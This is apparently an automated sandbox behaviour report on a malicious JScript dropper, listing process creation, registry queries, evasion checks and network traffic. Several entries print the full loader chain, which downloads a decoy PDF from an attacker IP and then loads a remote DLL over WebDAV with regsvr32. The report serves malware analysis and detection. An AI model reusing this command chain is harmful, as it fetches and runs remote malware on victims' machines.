Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3372.js.csv");ITextStream.WriteLine(" entry:8170 f:rjvae");ITextStream.WriteLine(" exec:2 f:rjvae");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5470			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4391			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 5470 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1440	Thread sleep count: 4391 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2920	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3500	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1412	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7520	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: svchost.exe, 00000009.00000002.3321422840.000002281142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.2124929304.0000012346D1C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142142785.0000012346CB8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3323079608.0000022816A57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\170612176717729.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
